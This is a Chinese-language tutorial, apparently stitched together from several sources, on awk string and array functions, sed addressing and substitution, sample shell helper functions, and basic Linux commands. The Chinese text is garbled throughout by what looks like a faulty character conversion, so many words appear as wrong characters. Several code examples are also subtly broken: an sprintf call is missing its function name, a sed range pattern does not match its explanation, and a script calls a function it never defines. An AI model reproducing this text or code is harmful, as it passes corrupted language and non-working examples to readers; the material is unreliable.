這段代碼不只不會產生錯誤,並且它的功能與前面的示例徹底相同,也將打印 "Mr. Whipple"!能夠看到,awk 並無限制咱們使用純整數下標;若是咱們願意,能夠使用字符串下標,並且不會產生任何問題。只要咱們使用非整數數組下標,如 myarr["name"],那麼咱們就在使用關聯數組。從技術上講,若是咱們使用字符串下標,awk 的後臺操做並無什麼不一樣(由於即使使用「整數」下標,awk 仍是會將它看做是字符串)。可是,應該將它們稱做關聯數組 -- 它聽起來很酷,並且會給您的上司留下印象。字符串化下標是咱們的小祕密。;)

數組工具

談到數組時,awk 給予咱們許多靈活性。能夠使用字符串下標,並且不須要連續的數字序列下標(例如,能夠定義 myarr[1] 和 myarr[1000],但不定義其它全部元素)。雖然這些都頗有用,但在某些狀況下,會產生混淆。幸虧,awk 提供了一些實用功能有助於使數組變得更易於管理。

首先,能夠刪除數組元素。若是想要刪除數組 fooarray 的元素 1,輸入:

delete fooarray[1]

並且,若是想要查看是否存在某個特定數組元素,能夠使用特殊的 "in" 布爾運算符,以下所示:

if ( 1 in fooarray ) {

                     print "Ayep!  It's there."

} else {

                     print "Nope!  Can't find it."

}

格式化輸出

雖然大多數狀況下 awk 的 print 語句能夠完成任務,但有時咱們還須要更多。在那些狀況下,awk 提供了兩個咱們熟知的老朋友 printf() 和 sprintf()。是的,如同其它許多 awk 部件同樣,這些函數等同於相應的 C 語言函數。printf() 會將格式化字符串打印到 stdout,而 sprintf() 則返回能夠賦值給變量的格式化字符串。若是不熟悉 printf() 和 sprintf(),介紹 C 語言的文章可讓您迅速瞭解這兩個基本打印函數。在 Linux 系統上,能夠輸入 "man 3 printf" 來查看 printf() 幫助頁面。

如下是一些 awk sprintf() 和 printf() 的樣本代碼。能夠看到,它們幾乎與 C 語言徹底相同。

x=1

b="foo"

printf("%s got a %d on the last test\n","Jim",83)

myout=("%s-%d",b,x)

print myout

      此代碼將打印:

              Jim got a 83 on the last test

foo-1

字符串函數

awk 有許多字符串函數,這是件好事。在 awk 中,確實須要字符串函數,由於不能象在其它語言(如 C、C++ 和 Python)中那樣將字符串看做是字符數組。例如,若是執行如下代碼:

mystring="How are you doing today?"

print mystring[3]

將會接收到一個錯誤,以下所示:

awk: string.gawk:59: fatal: attempt to use scalar as array

噢,好吧。雖然不象 Python 的序列類型那樣方便,但 awk 的字符串函數仍是能夠完成任務。讓咱們來看一下。

首先,有一個基本 length() 函數,它返回字符串的長度。如下是它的使用方法:

print length(mystring)

此代碼將打印值:

24

好,繼續。下一個字符串函數叫做 index,它將返回子字符串在另外一個字符串中出現的位置,若是沒有找到該字符串則返回 0。使用 mystring,能夠按如下方法調用它:

print index(mystring,"you")

awk 會打印:

9

讓咱們繼續討論另外兩個簡單的函數,tolower() 和 toupper()。與您猜測的同樣,這兩個函數將返回字符串而且將全部字符分別轉換成小寫或大寫。請注意,tolower() 和 toupper() 返回新的字符串,不會修改原來的字符串。這段代碼:

print tolower(mystring)

print toupper(mystring)

print mystring

……將產生如下輸出:

how are you doing today?

HOW ARE YOU DOING TODAY?

How are you doing today?

到如今爲止一切不錯,但咱們究竟如何從字符串中選擇子串,甚至單個字符?那就是使用 substr() 的緣由。如下是 substr() 的調用方法:

mysub=substr(mystring,startpos,maxlen)

mystring 應該是要從中抽取子串的字符串變量或文字字符串。startpos 應該設置成起始字符位置,maxlen 應該包含要抽取的字符串的最大長度。請注意,我說的是最大長度;若是 length(mystring) 比 startpos+maxlen 短,那麼獲得的結果就會被截斷。substr() 不會修改原始字符串,而是返回子串。如下是一個示例:

print substr(mystring,9,3)

awk 將打印:

you

若是您一般用於編程的語言使用數組下標訪問部分字符串(以及不使用這種語言的人),請記住 substr() 是 awk 代替方法。須要使用它來抽取單個字符和子串;由於 awk 是基於字符串的語言,因此會常常用到它。

一些更回味無窮的函數

首先是 match()。match() 與 index() 很是類似,它與 index() 的區別在於它並不搜索子串,它搜索的是規則表達式。match() 函數將返回匹配的起始位置,若是沒有找到匹配,則返回 0。此外,match() 還將設置兩個變量,叫做 RSTART 和 RLENGTH。RSTART 包含返回值(第一個匹配的位置),RLENGTH 指定它佔據的字符跨度(若是沒有找到匹配,則返回 -1)。經過使用 RSTART、RLENGTH、substr() 和一個小循環,能夠輕鬆地迭代字符串中的每一個匹配。如下是一個 match() 調用示例:

print match(mystring,/you/), RSTART, RLENGTH

awk 將打印:

9 9 3

字符串替換

如今,咱們將研究兩個字符串替換函數,sub() 和 gsub()。這些函數與目前已經討論過的函數略有不一樣,由於它們確實修改原始字符串。如下是一個模板,顯示瞭如何調用 sub():

sub(regexp,replstring,mystring)

調用 sub() 時,它將在 mystring 中匹配 regexp 的第一個字符序列,而且用 replstring 替換該序列。sub() 和 gsub() 用相同的自變量;惟一的區別是 sub() 將替換第一個 regexp 匹配(若是有的話),gsub() 將執行全局替換,換出字符串中的全部匹配。如下是一個 sub() 和 gsub() 調用示例:

sub(/o/,"O",mystring)

print mystring

mystring="How are you doing today?"

gsub(/o/,"O",mystring)

print mystring

必須將 mystring 復位成其初始值,由於第一個 sub() 調用直接修改了 mystring。在執行時,此代碼將使 awk 輸出:

HOw are you doing today?

HOw are yOu dOing tOday?

固然,也能夠是更復雜的規則表達式。我把測試一些複雜規則表達式的任務留給您來完成。

經過介紹函數 split(),咱們來彙總一下已討論過的函數。split() 的任務是「切開」字符串,並將各部分放到使用整數下標的數組中。如下是一個 split() 調用示例:

numelements=split("Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec",mymonths,",")

調用 split() 時,第一個自變量包含要切開文字字符串或字符串變量。在第二個自變量中,應該指定 split() 將填入片斷部分的數組名稱。在第三個元素中,指定用於切開字符串的分隔符。split() 返回時,它將返回分割的字符串元素的數量。split() 將每個片斷賦值給下標從 1 開始的數組,所以如下代碼:

print mymonths[1],mymonths[numelements]

……將打印:

Jan Dec

特殊字符串形式

簡短註釋 -- 調用 length()、sub() 或 gsub() 時,能夠去掉最後一個自變量,這樣 awk 將對 $0(整個當前行)應用函數調用。要打印文件中每一行的長度,使用如下 awk 腳本:

{

                 print length()

}

sed使用規則

       sed 是頗有用(但常被遺忘)的 UNIX 流編輯器。sed是十分強大和小巧的文本流編輯器。使用sed 能夠執行字符串替換、建立更大的 sed 腳本以及使用 sed 的附加、插入和更改行命令。在以批處理方式編輯文件或以有效方式建立 shell 腳原本修改現有文件方面,它是十分理想的工具。

sed 示例

sed 經過對輸入數據執行任意數量用戶指定的編輯操做(「命令」)來工做。sed 是基於行的,所以按順序對每一行執行命令。而後,sed 將其結果寫入標準輸出 (stdout),它不修改任何輸入文件。

讓咱們看一些示例。頭幾個會有些奇怪,由於我要用它們演示 sed 如何工做,而不是執行任何有用的任務。然而,若是您是 sed 新手,那麼理解它們是十分重要的。下面是第一個示例:

$ sed -e 'd' /etc/services

若是輸入該命令,將得不到任何輸出。那麼,發生了什麼?在該例中,用一個編輯命令 'd' 調用 sed。sed 打開 /etc/services 文件,將一行讀入其模式緩衝區,執行編輯命令(「刪除行」),而後打印模式緩衝區(緩衝區已爲空)。而後,它對後面的每一行重複這些步驟。這不會產生輸出,由於 "d" 命令除去了模式緩衝區中的每一行!

在該例中,還有幾件事要注意。首先,根本沒有修改 /etc/services。這仍是由於 sed 只讀取在命令行指定的文件,將其用做輸入 -- 它不試圖修改該文件。第二件要注意的事是 sed 是面向行的。'd' 命令不是簡單地告訴 sed 一會兒刪除全部輸入數據。相反,sed 逐行將 /etc/services 的每一行讀入其稱爲模式緩衝區的內部緩衝區。一旦將一行讀入模式緩衝區,它就執行 'd' 命令,而後打印模式緩衝區的內容(在本例中沒有內容)。我將在後面爲您演示如何使用地址範圍來控制將命令應用到哪些行 -- 可是,若是不使用地址,命令將應用到全部行。第三件要注意的事是括起 'd' 命令的單引號的用法。養成使用單引號來括起 sed 命令的習慣是個好注意,這樣能夠禁用 shell 擴展。

另外一個 sed 示例

下面是使用 sed 從輸出流除去 /etc/services 文件第一行的示例:

$ sed -e '1d' /etc/services | more

如您所見,除了前面有 '1' 以外,該命令與第一個 'd' 命令十分相似。若是您猜到 '1' 指的是第一行,那您就猜對了。與第一個示例中只使用 'd' 不一樣的是,這一次使用的 'd' 前面有一個可選的數字地址。經過使用地址,能夠告訴 sed 只對某一或某些特定行進行編輯。

地址範圍

如今,讓咱們看一下如何指定地址範圍。在本例中,sed 將刪除輸出的第 1 到 10 行:

$ sed -e '1,10d' /etc/services | more

當用逗號將兩個地址分開時,sed 將把後面的命令應用到從第一個地址開始、到第二個地址結束的範圍。在本例中,將 'd' 命令應用到第 1 到 10 行(包括這兩行)。全部其它行都被忽略。

帶規則表達式的地址

如今演示一個更有用的示例。假設要查看 /etc/services 文件的內容,可是對查看其中包括的註釋部分不感興趣。如您所知,能夠經過以 '#' 字符開頭的行在 /etc/services 文件中放置註釋。爲了不註釋,咱們但願 sed 刪除以 '#' 開始的行。如下是具體作法:

$ sed -e '/^#/d' /etc/services | more

試一下該例,看看發生了什麼。您將注意到,sed 成功完成了預期任務。如今,讓咱們分析發生的狀況:

要理解 '/^#/d' 命令,首先須要對其剖析。首先,讓咱們除去 'd' -- 這是咱們前面所使用的同一個刪除行命令。新增長的是 '/^#/' 部分,它是一種新的規則表達式地址。規則表達式地址老是由斜槓括起。它們指定一種 模式,緊跟在規則表達式地址以後的命令將僅適用於正好與該特定模式匹配的行。所以,'/^#/' 是一個規則表達式。(規則表達式的有關規定能夠參見本文前面的內容)

例如:

$ sed -e '/regexp/d' /path/to/my/test/file | more

這將致使 sed 刪除任何匹配的行。

對好比下的命令:

$ sed -n -e '/regexp/p' /path/to/my/test/file | more

請注意新的 '-n' 選項,該選項告訴 sed 除非明確要求打印模式空間,不然不這樣作。您還會注意到,咱們用 'p' 命令替換了 'd' 命令,如您所猜測的那樣,這明確要求 sed 打印模式空間。就這樣,將只打印匹配部分。

有關地址的更多內容

目前爲止,咱們已經看到了行地址、行範圍地址和 regexp 地址。可是,還有更多的可能。咱們能夠指定兩個用逗號分開的規則表達式,sed 將與全部從匹配第一個規則表達式的第一行開始,到匹配第二個規則表達式的行結束(包括該行)的全部行匹配。

例如,如下命令將打印從包含 "BEGIN" 的行開始,而且以包含 "END" 的行結束的文本塊:

$ sed -n -e '/BEGIN/,/END/p' /my/test/file | more

若是沒發現 "BEGIN",那麼將不打印數據。若是發現了 "BEGIN",可是在這以後的全部行中都沒發現 "END",那麼將打印全部後續行。發生這種狀況是由於 sed 面向流的特性 -- 它不知道是否會出現 "END"。

C 源代碼示例

若是隻要打印 C 源文件中的 main() 函數,可輸入:

$ sed -n -e '/main[[:space:]]*(/,/^)/p' sourcefile.c | more

該命令有兩個規則表達式 '/main[[:space:]]*(/' 和 '/^}/',以及一個命令 'p'。第一個規則表達式將與後面依次跟有任意數量的空格或製表鍵以及開始圓括號的字符串 "main" 匹配。這應該與通常 ANSI C main() 聲明的開始匹配。

在這個特別的規則表達式中,出現了 '[[:space:]]' 字符類。這只是一個特殊的關鍵字,它告訴 sed 與 TAB 或空格匹配。若是願意的話,能夠不輸入 '[[:space:]]',而輸入 '[',而後是空格字母,而後是 -V,而後再輸入製表鍵字母和 ']' -- Control-V 告訴 bash 要插入「真正」的製表鍵,而不是執行命令擴展。使用 '[[:space:]]' 命令類(特別是在腳本中)會更清楚。

如今看一下第二個 regexp。'/^}' 將與任何出如今新行行首的 '}' 字符匹配。若是代碼的格式很好,那麼這將與 main() 函數的結束花括號匹配。若是格式很差,則不會正確匹配 -- 這是執行模式匹配任務的一件棘手之事。由於是處於 '-n' 安靜方式,因此 'p' 命令仍是完成其慣有任務,即明確告訴 sed 打印該行。試着對 C 源文件運行該命令 -- 它應該輸出整個 main() { } 塊,包括開始的 "main()" 和結束的 '}'。

替換

讓咱們看一下 sed 最有用的命令之一,替換命令。使用該命令,能夠將特定字符串或匹配的規則表達式用另外一個字符串替換。

下面是該命令最基本用法的示例:

$ sed -e 's/foo/bar/' myfile.txt

上面的命令將 myfile.txt 中每行第一次出現的 'foo'(若是有的話)用字符串 'bar' 替換,而後將該文件內容輸出到標準輸出。請注意,我說的是每行第一次出現,儘管這一般不是您想要的。在進行字符串替換時,一般想執行全局替換。也就是說,要替換每行中的全部出現,以下所示:

$ sed -e 's/foo/bar/g' myfile.txt

在最後一個斜槓以後附加的 'g' 選項告訴 sed 執行全局替換。

關於 's///' 替換命令,還有其它幾件要了解的事。首先,它是一個命令,而且只是一個命令,在全部上例中都沒有指定地址。這意味着,'s///' 還能夠與地址一塊兒使用來控制要將命令應用到哪些行,以下所示:

$ sed -e '1,10s/enchantment/entrapment/g' myfile2.txt

上例將致使用短語 'entrapment' 替換全部出現的短語 'enchantment',可是隻在第一到第十行(包括這兩行)上這樣作。

$ sed -e '/^$/,/^END/s/hills/mountains/g' myfile3.txt

該例將用 'mountains' 替換 'hills',可是,只從空行開始,到以三個字符 'END' 開始的行結束(包括這兩行)的文本塊上這樣作。

關於 's///' 命令的另外一個妙處是 '/' 分隔符有許多替換選項。若是正在執行字符串替換,而且規則表達式或替換字符串中有許多斜槓,則能夠經過在 's' 以後指定一個不一樣的字符來更改分隔符。例如,下例將把全部出現的 /usr/local 替換成 /usr:

$ sed -e 's:/usr/local:/usr:g' mylist.txt

在該例中,使用冒號做爲分隔符。若是須要在規則表達式中指定分隔符字符,能夠在它前面加入反斜槓。

規則表達式混亂

目前爲止,咱們只執行了簡單的字符串替換。雖然這很方便,可是咱們還能夠匹配規則表達式。例如,如下 sed 命令將匹配從 '<' 開始、到 '>' 結束、而且在其中包含任意數量字符的短語。下例將刪除該短語(用空字符串替換):

$ sed -e 's/<.*>//g' myfile.html

這是要從文件除去 HTML 標記的第一個很好的 sed 腳本嘗試,可是因爲規則表達式的特有規則,它不會很好地工做。緣由何在?當 sed 試圖在行中匹配規則表達式時,它要在行中查找最長的匹配。在個人前一篇 sed 文章中,這不成問題,由於咱們使用的是 'd' 和 'p' 命令,這些命令總要刪除或打印整行。可是,在使用 's///' 命令時,確實有很大不一樣,由於規則表達式匹配的整個部分將被目標字符串替換,或者,在本例中,被刪除。這意味着,上例將把下行:

<b>This</b> is what <b>I</b> meant.

變成:meant.

咱們要的不是這個,而是:This is what I meant.

幸運的是,有一種簡便方法來糾正該問題。咱們不輸入「'<' 字符後面跟有一些字符並以 '>' 字符結束」的規則表達式,而只需輸入一個「'<' 字符後面跟有任意數量非 '>' 字符並以 '>' 字符結束」的規則表達式。這將與最短、而不是最長的可能性匹配。新命令以下:

             $ sed -e 's/<[^>]*>//g' myfile.html

在上例中,'[^>]' 指定「非 '>'」字符,其後的 '*' 完成該表達式以表示「零或多個非 '>' 字符」。對幾個 html 文件測試該命令,將它們管道輸出到 "more",而後仔細查看其結果。

更多字符匹配

'[ ]' 規則表達式語法還有一些附加選項。要指定字符範圍,只要字符不在第一個或最後一個位置,就能夠使用 '-',以下所示:

             '[a-x]*'

這將匹配零或多個所有爲 'a'、'b'、'c'...'v'、'w'、'x' 的字符。另外,能夠使用 '[:space:]' 字符類來匹配空格(字符類的相關信息能夠參見本文前面部份內容)。

高級替換功能

咱們已經看到如何執行簡單甚至有些複雜的直接替換,可是 sed 還能夠作更多的事。實際上能夠引用匹配規則表達式的部分或所有,並使用這些部分來構造替換字符串。做爲示例,假設您正在回覆一條消息。下例將在每一行前面加上短語 "ralph said: ":

$ sed -e 's/.*/ralph said: &/' origmsg.txt

輸出以下:

ralph said: Hiya Jim, ralph said: ralph said:

I sure like this sed stuff! ralph said:

該例的替換字符串中使用了 '&' 字符,該字符告訴 sed 插入整個匹配的規則表達式。所以,能夠將與 '.*' 匹配的任何內容(行中的零或多個字符的最大組或整行)插入到替換字符串中的任何位置,甚至屢次插入。這很是好,但 sed 甚至更強大。

那些極好的帶反斜槓的圓括號

's///' 命令甚至比 '&' 更好,它容許咱們在規則表達式中定義區域,而後能夠在替換字符串中引用這些特定區域。做爲示例,假設有一個包含如下文本的文件:

bar oni eeny meeny miny larry curly moe jimmy the weasel

如今假設要編寫一個 sed 腳本,該腳本將把 "eeny meeny miny" 替換成 "Victor eeny-meeny Von miny" 等等。要這樣作,首先要編寫一個由空格分隔並與三個字符串匹配的規則表達式:

'.* .* .*'

如今,將在其中每一個感興趣的區域兩邊插入帶反斜槓的圓括號來定義區域:

'\(.*\) \(.*\) \(.*\)'

除了要定義三個可在替換字符串中引用的邏輯區域之外,該規則表達式的工做原理將與第一個規則表達式相同。下面是最終腳本:

$ sed -e 's/\(.*\) \(.*\) \(.*\)/Victor \1-\2 Von \3/' myfile.txt

如您所見,經過輸入 '\x'(其中,x 是從 1 開始的區域號)來引用每一個由圓括號定界的區域。輸入以下:

Victor foo-bar Von oni Victor eeny-meeny Von miny Victor larry-curly Von moe Victor jimmy-the Von weasel

隨着對 sed 愈來愈熟悉,您能夠花最小力氣來進行至關強大的文本處理。您可能想如何使用熟悉的腳本語言來處理這種問題 -- 能用一行代碼輕易實現這樣的解決方案嗎?

組合使用

在開始建立更復雜的 sed 腳本時,須要有輸入多個命令的能力。有幾種方法這樣作。首先,能夠在命令之間使用分號。例如,如下命令系列使用 '=' 命令和 'p' 命令,'=' 命令告訴 sed 打印行號,'p' 命令明確告訴 sed 打印該行(由於處於 '-n' 模式)。

$ sed -n -e '=;p' myfile.txt

不管何時指定了兩個或更多命令,都按順序將每一個命令應用到文件的每一行。在上例中,首先將 '=' 命令應用到第 1 行,而後應用 'p' 命令。接着,sed 繼續處理第 2 行,並重復該過程。雖然分號很方便,可是在某些場合下,它不能正常工做。另外一種替換方法是使用兩個 -e 選項來指定兩個不一樣的命令:

$ sed -n -e '=' -e 'p' myfile.txt

然而,在使用更爲複雜的附加和插入命令時,甚至多個 '-e' 選項也不能幫咱們的忙。對於複雜的多行腳本,最好的方法是將命令放入一個單獨的文件中。而後,用 -f 選項引用該腳本文件:

$ sed -n -f mycommands.sed myfile.txt

這種方法雖然可能不太方便,但老是管用。

一個地址的多個命令

有時,可能要指定應用到一個地址的多個命令。這在執行許多 's///' 以變換源文件中的字和語法時特別方便。要對一個地址執行多個命令,可在文件中輸入 sed 命令,而後使用 '{ }' 字符將這些命令分組,以下所示:

1,20{    s/[Ll]inux/GNU\/Linux/g     s/samba/Samba/g        s/posix/POSIX/g }

上例將把三個替換命令應用到第 1 行到第 20 行(包括這兩行)。還能夠使用規則表達式地址或者兩者的組合:

1,/^END/{         s/[Ll]inux/GNU\/Linux/g         s/samba/Samba/g         s/posix/POSIX/g        p }

該例將把 '{ }' 之間的全部命令應用到從第 1 行開始,到以字母 "END" 開始的行結束(若是在源文件中沒發現 "END",則到文件結束)的全部行。

附加、插入和更改行

既然在單獨的文件中編寫 sed 腳本,咱們能夠利用附加、插入和更改行命令。這些命令將在當前行以後插入一行,在當前行以前插入一行,或者替換模式空間中的當前行。它們也能夠用來將多行插入到輸出。插入行命令用法以下:

i\ This line will be inserted before each line

若是不爲該命令指定地址,那麼它將應用到每一行,併產生以下的輸出:

             This line will be inserted before each line line 1 here

             This line will be inserted before each line line 2 here

             This line will be inserted before each line line 3 here

             This line will be inserted before each line line 4 here

若是要在當前行以前插入多行,能夠經過在前一行以後附加一個反斜槓來添加附加行,以下所示:

             i\ insert this line\ and this one\ and this one\ and, uh, this one too.

附加命令的用法與之相似,可是它將把一行或多行插入到模式空間中的當前行以後。其用法以下:

             a\ insert this line after each line.  Thanks! :)

另外一方面,「更改行」命令將實際替換模式空間中的當前行,其用法以下:

             c\ You're history, original line! Muhahaha!

由於附加、插入和更改行命令須要在多行輸入,因此將把它們輸入到一個文本 sed 腳本中,而後經過使用 '-f' 選項告訴 sed 執行它們。使用其它方法將命令傳遞給 sed 會出現問題。

使用 sed 的幾個示例

這些示例不只演示 sed 的能力,並且還作一些真正巧妙(和方便)的事。例如,在本文的後半部,將爲您演示如何設計一個 sed 腳原本將 .QIF 文件從 Intuit 的 Quicken 金融程序轉換成具備良好格式的文本文件。在那樣作以前,咱們將看一下不怎麼複雜但卻頗有用的 sed 腳本。

l        文本轉換

第一個實際腳本將 UNIX 風格的文本轉換成 DOS/Windows 格式。您可能知道,基於 DOS/Windows 的文本文件在每一行末尾有一個 CR(回車)和 LF(換行),而 UNIX 文本只有一個換行。有時可能須要將某些 UNIX 文本移至 Windows 系統,該腳本將爲您執行必需的格式轉換。

             $ sed -e 's/$/\r/' myunix.txt > mydos.txt

      在該腳本中,'$' 規則表達式將與行的末尾匹配,而 '\r' 告訴 sed 在其以前插入一個回車。在換行以前插入回車,當即,每一行就以 CR/LF 結束。請注意,僅當使用 GNU sed 3.02.80 或之後的版本時,纔會用 CR 替換 '\r'。若是尚未安裝 GNU sed 3.02.80,請在個人第一篇 sed 文章中查看如何這樣作的說明。

我已記不清有多少次在下載一些示例腳本或 C 代碼以後,卻發現它是 DOS/Windows 格式。雖然不少程序不在意 DOS/Windows 格式的 CR/LF 文本文件,可是有幾個程序卻在意 -- 最著名的是 bash,只要一遇到回車,它就會出問題。如下 sed 調用將把 DOS/Windows 格式的文本轉換成可信賴的 UNIX 格式:

             $ sed -e 's/.$//' mydos.txt > myunix.txt

      該腳本的工做原理很簡單:替代規則表達式與一行的最末字符匹配,而該字符剛好就是回車。咱們用空字符替換它,從而將其從輸出中完全刪除。若是使用該腳本並注意到已經刪除了輸出中每行的最末字符,那麼,您就指定了已是 UNIX 格式的文本文件。也就不必那樣作了!

l        反轉行

下面是另外一個方便的小腳本。與大多數 Linux 發行版中包括的 "tac" 命令同樣,該腳本將反轉文件中行的次序。"tac" 這個名稱可能會給人以誤導,由於 "tac" 不反轉行中字符的位置(左和右),而是反轉文件中行的位置(上和下)。用 "tac" 處理如下文件:

             foo bar oni

      ....將產生如下輸出:

oni bar foo

      能夠用如下 sed 腳本達到相同目的:

             $ sed -e '1!G;h;$!d' forward.txt > backward.txt

      若是登陸到恰巧沒有 "tac" 命令的 FreeBSD 系統,將發現該 sed 腳本頗有用。雖然方便,但最好仍是知道該腳本爲何那樣作。讓咱們對它進行討論。

反轉解釋:首先,該腳本包含三個由分號隔開的單獨 sed 命令:'1!G'、'h' 和 '$!d'。如今,須要好好理解用於第一個和第三個命令的地址。若是第一個命令是 '1G',則 'G' 命令將只應用第一行。然而,還有一個 '!' 字符 -- 該 '!' 字符忽略該地址,即,'G' 命令將應用到除第一行以外的全部行。'$!d' 命令與之相似。若是命令是 '$d',則將只把 'd' 命令應用到文件中的最後一行('$' 地址是指定最後一行的簡單方式)。然而,有了 '!' 以後,'$!d' 將把 'd' 命令應用到除最後一行以外的全部行。如今,咱們所要理解的是這些命令自己作什麼。

當對上面的文本文件執行反轉腳本時,首先執行的命令是 'h'。該命令告訴 sed 將模式空間(保存正在處理的當前行的緩衝區)的內容複製到保留空間(臨時緩衝區)。而後,執行 'd' 命令,該命令從模式空間中刪除 "foo",以便在對這一行執行完全部命令以後不打印它。

如今,第二行。在將 "bar" 讀入模式空間以後,執行 'G' 命令,該命令將保留空間的內容 ("foo\n") 附加到模式空間 ("bar\n"),使模式空間的內容爲 "bar\n\foo\n"。'h' 命令將該內容放回保留空間保護起來,而後,'d' 從模式空間刪除該行,以便不打印它。

對於最後的 "oni" 行,除了不刪除模式空間的內容(因爲 'd' 以前的 '$!')以及將模式空間的內容(三行)打印到標準輸出以外,重複一樣的步驟。

linux經常使用腳本和函數

l        #查找當前目錄中是否存在指定目錄,若不存在,則建立之

function mkdir_1

{

                     if test ! -d $1

                     then

                            mkdir $1

                     fi

}

l        #將指定文件中的"prefix = .*"串替換爲"prefix=\/home\/gnome-unicore-install2\/usr/"

#能夠用來做爲sed用法的參考

function modify_prefix

{

             chmod +w $1

             cp $1 $1.bak

             sed 's/prefix = .*/prefix=\/home\/gnome-unicore-install2\/usr/g' $1.bak > $1

             rm $1.bak

}

l        #將指定文件中的"^LDFLAGS =.*"串替換爲"LDFLAGS = -rdynamic -lgdk_pixbuf -lgtk -lgdk -lgmodule -lglib -ldl -lXext -lX11 -lm"

#change_gnome-config FILENAME

function change_gnome-config

{

                     cp $1 $1.bak

                    sed 's/^LDFLAGS =.*/LDFLAGS = -rdynamic -lgdk_pixbuf -lgtk -lgdk -lgmodule -lglib -ldl -lXext -lX11 -lm /g' $1.bak> $1    

                    rm $1.bak

}

l        #刪除指定文件的含有指定字符的行

#格式:delete_line filename "word_contain"

function delete_line

{

                     chmod +w $1

                     cp $1 $1.bak

                     cat $1.bak | grep -v -e "$2" >$1      

}

l        #用途:刪除文件中包含line1或(和?)line2的行

#格式:delete_line filename line1 line2

function delete_line_no

{

             chmod +w $1

             cp $1 $1.bak

             sed  $2,$3'd' $1.bak>$1

             rm $1.bak

}

l        #用途:在LINE_NO指定的行插入字符串CONTENT

#能夠用來做爲sed用法的參考

#格式: add_line FILENAME LINE_NO CONTENT

function add_line

{

                     chmod +w $1

             cp $1 $1.bak

             sed -e $2 'i\' "$3" '' $1.bak > $1

             rm $1.bak

}

l        #用途:檢查含有"PC24"代碼的程序並打印出來

#格式: check_PC24 //after installation 

function check_PC24

{

                   echo "now comes the PC24 checking..."

                   . $COMMAND_UNICORE/shell/shell_PC24 >& /dev/null

                   if test -s $COMMAND_UNICORE/PC24_result

                 then :

               echo "The following file contains PC24 problems: $COMMAND_UNICORE/PC24_result "

                 else

                      echo "No PC24 problem found"

                   fi

}

l        #打印標題

displayheader() {

                   echo "   *****************************************"

                   echo "   *         IeeeCC754 testing tool           *"

                   echo "   *****************************************"

                   echo " "

}

l        #打印一個菜單的作法

displayplatformmenu() {

            #clear the screen

            clear

            displayheader

            echo "   a) SunSparc "

            echo "   b) IntelPentium "

            echo "   c) AMD "

            echo "   d) Unicore32 "

            echo "   e) Unicore32(with FP2001) "

            echo " "

            echo  -n "   select a Platform > "

}

l        #接收一個菜單輸入

displayplatformmenu

read answer

case ${answer} in

            a) TARGET="BasicOp";;

            b) TARGET="Conversion";;

            *) badchoice;;

esac

l        #查找當前目錄下是否存在file_name文件

#能夠用來做爲if用法的參考

detectfile_name() {

                   if [ ! -f file_name ]

                   then

                        echo "Error: file_name does not exist.  Please check"

                 exit 1;

                   else

                        echo "OK,the directy is exist"

                   fi

}

l        #將參數指定的一個或多個目錄項以及其下的多級子目錄下的全部文件名和目錄名轉換爲小寫。

cvitem()

{

echo "mv $1 `dirname $1`/`basename $1 | tr \

'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`"

}

[ $# = 0 ] && { echo "Usage: lcdir item1 item2 ..."; exit; }

for item in $*     #能夠用來做爲for用法的參考

do

[ "`dirname $item`" != "`basename $item`" ] && {

[ -d $item ] &&

{

for subitem in `ls $item`

do

cvlc $item/$subitem

done

}

cvitem $item

}

done

l        #一個login的例子

if ($?path) then

set path=($HOME/bin $path)

else

set path=($HOME/bin /usr/bin .)

endif

if ( ! $ {?DT} ); then

stty dec new

tset -I -Q

endif

set mail=/usr/spool/mail/$USER

l        #關於if使用的幾個例子

n        #執行一個命令或程序以前,先檢查該命令是否存在,然後才執行

if [ -x /sbin/quotaon ] ; then

echo "Turning on Quota for root filesystem"

/sbin/quotaon /

fi

n        #獲得Hostname

#!/bin/sh

if [ -f /etc/HOSTNAME ] ; then

HOSTNAME=`cat /etc/HOSTNAME`

else

HOSTNAME=localhost

fi

n        #若是某個設定檔容許有好幾個位置的話,例如crontab,可利用if then elif fi來找尋

if [ -f /etc/crontab ] ; then  #[ -f /etc/crontab ]等價於test -f /etc/crontab

CRONTAB="/etc/crontab"

elif [ -f /var/spool/cron/crontabs/root ] ; then

CRONTAB="/var/spool/cron/crontabs/root"

elif [ -f /var/cron/tabs/root ] ; then

CRONTAB="/var/cron/tabs/root"

fi

export CRONTAB

n        #利用uname來判斷目前系統,並分別作各系統情況不一樣的事。

SYSTEM=`uname -s`

if [ $SYSTEM = "Linux" ] ; then

echo "Linux"

elif [ $SYSTEM = "FreeBSD" ] ; then

echo "FreeBSD"

elif [ $SYSTEM = "Solaris" ] ; then

echo "Solaris"

else

echo "What?"

fi

l        #關於while使用的幾個例子

n        #無條件循環

while : ; do

echo "do something forever here"

sleep 5

done

linux經常使用命令

如下只說明各指令的基本用法, 若需詳細說明, 請用 man 去讀詳細的 manual.

關於文件/目錄處理的指令:

1. ls

這是最基本的文件指令。 ls 的意義爲 "list",也就是將某一個目錄或是某一個文件的內容顯示出來。

若是你在下 ls 指令後面沒有跟任何的文件名,它將會顯示出目前目錄中全部文件。

也能夠在 ls 後面加上所要察看的目錄名稱或文件的名稱,如:

% ls /home2/X11R5

% ls first

ls 有一些特別的參數,能夠給予使用者更多有關的信息,以下:

-a : 在 UNIX 中若一個目錄或文件名字的第一個字符爲 "." , 則使用 ls

將不會顯示出這個文件的名字,咱們稱此類文件爲隱藏文件。若是咱們要察看這類文件,則必須加上參數 -a 。

-l : 這個參數表明使用 ls 的長( long )格式,能夠顯示更多的信息,如文件存取權,文件擁有者( owner ),文件大小,文件最後更新日期,甚而 symbolic link 的文件是 link 到那一個文件等等。例如:

% ls -l

drwx--x--x 2 jjtseng 512 Aug 8 05:08 18

drwx--x--x 2 jjtseng 512 Aug 8 22:00 19

-rw------- 1 jjtseng 566 Aug 8 05:28 makefile

2. cp     

cp 這個指令的意義是複製("COPY") , 也就是將一個或多個文件複製成另外一個文件或者是將其複製到另外一個目錄去。

cp 的用法以下:

cp f1 f2 : 將文件名爲 f1 的文件複製一份爲文件名爲 f2 的文件。

cp f1 f2 f3 ... dir : 將文件 f1 f2 f3 ... 都以相同的文件名複製一份放到目錄 dir 裏面。

cp -r dir1 dir2 : 將 dir1 的所有內容所有複製到 dir2 裏面。

cp 也有一些參數,以下:

